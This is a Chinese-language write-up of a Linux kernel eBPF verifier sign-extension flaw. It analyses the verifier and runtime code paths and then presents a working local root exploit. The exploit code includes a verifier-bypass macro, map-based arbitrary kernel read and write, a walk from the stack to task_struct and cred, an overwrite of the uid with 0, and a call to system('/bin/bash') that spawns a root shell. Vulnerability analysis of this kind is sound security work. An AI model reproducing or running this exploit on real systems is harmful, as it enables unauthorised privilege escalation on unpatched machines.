前言

eBPF虚拟指令系统

eBPF虚拟指令系统属于RISC,拥有10个虚拟寄存器,r0-r10,在实际运行时,虚拟机会把这10个寄存器一一对应于硬件CPU的10个物理寄存器,以x64为例,对应关系如下:

    R0 – rax
    R1 - rdi
    R2 - rsi
    R3 - rdx
    R4 - rcx
    R5 - r8
    R6 - rbx
    R7 - r13
    R8 - r14
    R9 - r15
    R10 – rbp(帧指针,frame pointer)

每条指令用bpf_insn结构体表示:

struct bpf_insn {
    __u8    code;       /* opcode */
    __u8    dst_reg:4;  /* dest register */
    __u8    src_reg:4;  /* source register */
    __s16   off;        /* signed offset */
    __s32   imm;        /* signed immediate constant */
};

BPF的加载过程:

(1)用户程序调用syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr))申请创建一个map,在attr结构体中指定map的类型、大小、最大容量等属性。

(2)用户程序调用syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr))来将我们写的BPF代码加载进内核,attr结构体中包含了指令数量、指令首地址指针、日志级别等属性。在加载之前会利用虚拟执行的方式来做安全性校验,这个校验包括对指定语法的检查、指令数量的检查、指令中的指针和立即数的范围及读写权限检查,禁止将内核中的地址暴露给用户空间,禁止对BPF程序stack之外的内核地址读写。安全校验通过后,程序被成功加载至内核,后续真正执行时,不再重复做检查。

(3)用户程序通过调用setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)将我们写的BPF程序绑定到指定的socket上。Progfd为上一步骤的返回值。

(4)用户程序通过操作上一步骤中的socket来触发BPF真正执行。

BPF的安全校验

Bpf指令的校验是在函数do_check中实现,代码路径为 kernel/bpf/verifier.c。do_check通过一个无限循环来遍历我们提供的bpf指令。

漏洞分析:

用户提交bpf代码时,进行一次验证(模拟代码执行),而在执行的时候并不验证。

而漏洞形成的原因在于:模拟执行代码(验证的过程中)与真正执行时的差异造成的。该漏洞是由符号扩展引起的。

do_check 在检查立即数赋值时,赋值的是64位无符号整数:

static int check_alu_op(struct bpf_verifier_env *env, struct bpf_insn *insn)
    ……
    /* case: R = imm                                                 
    * remember the value we stored into this reg
    */

    regs[insn->dst_reg].type = SCALAR_VALUE;
	__mark_reg_known(regs + insn->dst_reg, insn->imm);
    ……
 431 /* Mark the unknown part of a register (variable offset or scalar value) as
 432  * known to have the value @imm.
 433  */
 434 static void __mark_reg_known(struct bpf_reg_state *reg, u64 imm)                                                                 
 435 {
 436     reg->id = 0;
 437     reg->var_off = tnum_const(imm);
 438     reg->smin_value = (s64)imm;
 439     reg->smax_value = (s64)imm;
 440     reg->umin_value = imm;
 441     reg->umax_value = imm;
 442 }

 10 struct tnum {                                                                                           
 11     u64 value;                               
 12     u64 mask;              
 13 };                                                               
 14                                                      
 15 /* Constructors */                                      
 16 /* Represent a known constant as a tnum. */                                                             
 17 struct tnum tnum_const(u64 value);    

在检验条件判断BPF_JNE时,检验判断时也是转化成64位无符号整数进行比较,两边类型相同,不会出现问题:

2947     /* detect if R == 0 where R was initialized to zero earlier */                                                               
2948     if (BPF_SRC(insn->code) == BPF_K &&
2949         (opcode == BPF_JEQ || opcode == BPF_JNE) &&
2950         dst_reg->type == SCALAR_VALUE &&
2951         tnum_equals_const(dst_reg->var_off, insn->imm)) {
2952         if (opcode == BPF_JEQ) {
2953             /* if (imm == imm) goto pc+off;
2954              * only follow the goto, ignore fall-through
2955              */
2956             *insn_idx += insn->off;
2957             return 0;
2958         } else {
2959             /* if (imm != imm) goto pc+off;
2960              * only follow fall-through branch, since
2961              * that's where the program will go
2962              */
2963             return 0;
2964         }
2965     }

 53 /* Returns true if @a == tnum_const(@b) */                                                              
 54 static inline bool tnum_equals_const(struct tnum a, u64 b)                                                                        
 55 {                                                                                                       
 56     return tnum_is_const(a) && a.value == b;                                                            
 57 }     

实际运行时:

/kernel/bpf/core.c: ___bpf_prog_run:

u64 regs[MAX_BPF_REG];
#define DST    regs[insn->dst_reg]
#define IMM    insn->imm

932             ALU_MOV_K:                                                                           933                     DST = (u32) IMM;         
934                     CONT;        

1077            JMP_JNE_K:                                                               
1078                    if (DST != IMM) {                                                
1079                            insn += insn->off;                                       
1080                            CONT_JMP;                                                
1081                    }                                                                
1082                    CONT;     

立即数在赋值给寄存器时,用u32做了强制类型转化,所以r2的值为0xffffffff(DST),而在进行32位有符号与64位无符号的比较时,32位有符号整数 IMM 会符号扩展为64位,0xffffffff->0xffffffffffffffff(IMM),导致比较时DST和IMM不相等,跳转执行恶意代码,而恶意代码部分在do_check时因为条件判断左右两值相等,没有被检查。

0: (b4) (u32) r2 = (u32) -1
1: (55) if r2 != 0xffffffff goto pc+2
2: (b7) r0 = 0
3: (95) exit

使用了符号扩展传送指令movslq,将短的源数据高位符号扩展后传送到目的地址,l表示双字,q表示四字,所以movslq表示将一个双字符号扩展后送到一个四字地址中。

漏洞利用

利用过程:

(1)申请长度为3的map

(2)其中

elem[0] -> r6
elem[1] -> r7
elem[2] -> r8
r6=op,r7=address,r8=value

(3) 读取r10,即栈地址

(4)通过获得的栈地址,计算得到栈的基地址

(5)栈的基地址上保存着task_struct的地址,读取task_struct地址

(6)读取task_struct中cred的地址

(7)覆写task_struct->cred.uid为0 ,进行提权

漏洞利用的insn指令如下:

#define BPF_DISABLE_VERIFIER()                                                       \
	BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF),             /* r2 = (u32)0xFFFFFFFF   */   \
	BPF_JMP_IMM(BPF_JNE, BPF_REG_2, 0xFFFFFFFF, 2),   /* if (r2 == -1) {        */   \
	BPF_MOV64_IMM(BPF_REG_0, 0),                      /*   exit(0);             */   \
	BPF_EXIT_INSN()                                   /* }                      */   \

#define BPF_MAP_GET(idx, dst)                                                        \
	BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),              /* r1 = r9                */   \
	BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),             /* r2 = fp                */   \
	BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),            /* r2 = fp - 4            */   \
	BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx),           /* *(u32 *)(fp - 4) = idx */   \
	BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),             \
	BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),            /* if (r0 == 0)           */   \
	BPF_EXIT_INSN(),                                  /*   exit(0);             */   \
	BPF_LDX_MEM(BPF_DW, (dst), BPF_REG_0, 0)          /* r_dst = *(u64 *)(r0)   */              

static int load_prog() {
	struct bpf_insn prog[] = {
		BPF_DISABLE_VERIFIER(),

		BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_1, -16),   /* *(fp - 16) = r1       */

		BPF_LD_MAP_FD(BPF_REG_9, mapfd),

		BPF_MAP_GET(0, BPF_REG_6),                         /* r6 = op               */
		BPF_MAP_GET(1, BPF_REG_7),                         /* r7 = address          */
		BPF_MAP_GET(2, BPF_REG_8),                         /* r8 = value            */

		/* store map slot address in r2 */
		BPF_MOV64_REG(BPF_REG_2, BPF_REG_0),               /* r2 = r0               */
		BPF_MOV64_IMM(BPF_REG_0, 0),                       /* r0 = 0  for exit(0)   */

		BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2),             /* if (op == 0)          */
        BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0),
		BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),
		BPF_EXIT_INSN(),

		BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 1, 2),             /* else if (op == 1)     */
		BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0),
		BPF_EXIT_INSN(),
        /* get fp */

		BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0),  /* op == 2 */
		BPF_EXIT_INSN(),

	};
	return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog), "GPL", 0);
}

op = 0: 读取r7的内容到elem[2]

op = 1:读取栈地址到elem[2]

op = 2: 将r8(elem[2])的值写进r7(elem[1])的地址上

#define __update_elem(a, b, c) \
	bpf_update_elem(0, (a)); \
	bpf_update_elem(1, (b)); \
	bpf_update_elem(2, (c)); \
	writemsg();


static uint64_t __get_fp(void) {
	__update_elem(1, 0, 0); // 更新elem[0],elem[1],elem[2]

	return get_value(2);
}

static uint64_t __read(uint64_t addr) {
	__update_elem(0, addr, 0);

	return get_value(2);
}

static void __write(uint64_t addr, uint64_t val) {
	__update_elem(2, addr, val);
}

static uint64_t get_sp(uint64_t addr) {
	return addr & ~(0x4000 - 1);
}

static void pwn(void) {
	uint64_t fp, sp, task_struct, credptr, uidptr;

	fp = __get_fp(); //获得栈地址
	if (fp < PHYS_OFFSET)
		__exit("bogus fp");
	
	sp = get_sp(fp); // 通过栈地址,计算得到栈的基地址
	if (sp < PHYS_OFFSET)
		__exit("bogus sp");
	
	task_struct = __read(sp);//读取sp内容,保存的是当前进程的task_struct地址

	if (task_struct < PHYS_OFFSET)
		__exit("bogus task ptr");

	printf("task_struct = %lx\n", task_struct);

	credptr = __read(task_struct + CRED_OFFSET); // cred 读取cred的地址

	if (credptr < PHYS_OFFSET)
		__exit("bogus cred ptr");

	uidptr = credptr + UID_OFFSET; // uid
	if (uidptr < PHYS_OFFSET)
		__exit("bogus uid ptr");

	printf("uidptr = %lx\n", uidptr);
	__write(uidptr, 0); // set both uid and gid to 0

	if (getuid() == 0) {
		printf("spawning root shell\n");
		system("/bin/bash");
		exit(0);
	}

	__exit("not vulnerable?");
}

参考链接

分析文章:

https://www.anquanke.com/post/id/101923

https://xz.aliyun.com/t/2212

相关代码补丁 :

https://github.com/torvalds/linux/commit/95a762e2c8c942780948091f8f2a4f32fce1ac6f

补丁commit:95a762e2c8c942780948091f8f2a4f32fce1ac6f